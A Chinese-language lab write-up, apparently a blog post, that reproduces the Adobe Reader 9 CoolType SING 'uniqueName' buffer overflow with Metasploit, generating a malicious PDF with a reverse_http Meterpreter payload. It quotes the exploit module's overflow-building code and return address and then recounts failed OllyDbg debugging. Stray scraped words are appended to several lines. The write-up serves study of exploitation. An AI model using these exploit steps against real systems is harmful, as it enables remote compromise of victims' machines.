實驗環境:Kali 2.0+Windows XP sp3+Adobe Reader 9.0.0shell
類別:緩衝區溢出windows
描述:這個漏洞針對Adobe閱讀器9.3.4以前的版本,一個名爲SING表對象中一個名爲uniqueName的參數形成緩衝區溢出。spa
參考資料:《Metasploit魔鬼訓練營》p286-p298debug
Adobe漏洞滲透過程:調試
kali上使用windows/fileformat/adobe_cooltype_sing,載荷爲windows/meterpreter/reverse_http,生成惡意構造的pdf文件,並打開exploit/multi/handler進行監聽。code
在windows xp sp3靶機上打開該pdf,成功執行shellcode,回連到kali!orm
Adobe漏洞機理分析:對象
先經過源代碼瞭解下此漏洞的大概機理。blog
100 # uniqueName 101 # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" 102 #sing << "A" * (0x254 - sing.length)
103 sing << rand_text(0x254 - sing.length)
104
105 # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) 106 sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') 107 108 # This becomes our new EIP (puts esp to stack buffer) 109 ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret 110 sing[0x208, 4] = [ret].pack('V')
構造了一個長度爲0x254的字符串,其中偏移爲0x208處的4字節將成爲溢出以後的新eip。ip
接下來要尋找程序的溢出點。爲了方便,修改下代碼。
去除字符串隨機性,將
sing << rand_text(0x254 - sing.length)
改成
sing << "A" * (0x254 - sing.length)
而後將ret=0x4a80cb38改成ret=0x42424242(字符串「BBBB」)。
從新生成樣本文件debug.pdf,並在靶機windows xp中打開。
然而我並無獲得書上的結果,跳出了兩個OllyIce,後一個關於AcroRd32.exe的已經終止
前一個最後也沒有由於訪問地址0x42424242而異常,而是另外一個地址。
暫且解決不了這個問題,我決定「做弊"!
既然以上這步是爲了找到溢出點,因此我直接看書找到相應的異常處並下斷點。
而後,我再次調試打開debug.pdf,仍是如上。
看來是在溢出點以前就有其餘的異常,只能先用OllyDbg打開以前成功攻擊的構造文件FormalAttack.pdf來調試。
仍是不行,雖然直接FormalAttack.pdf能夠成功執行shellcode回連,可是經過OllyDbg打開FormalAttack.pdf就會產生異常,在中斷處日後執行幾步奇怪的指令後就終止了,根本沒通過咱們下斷點的CoolType模塊。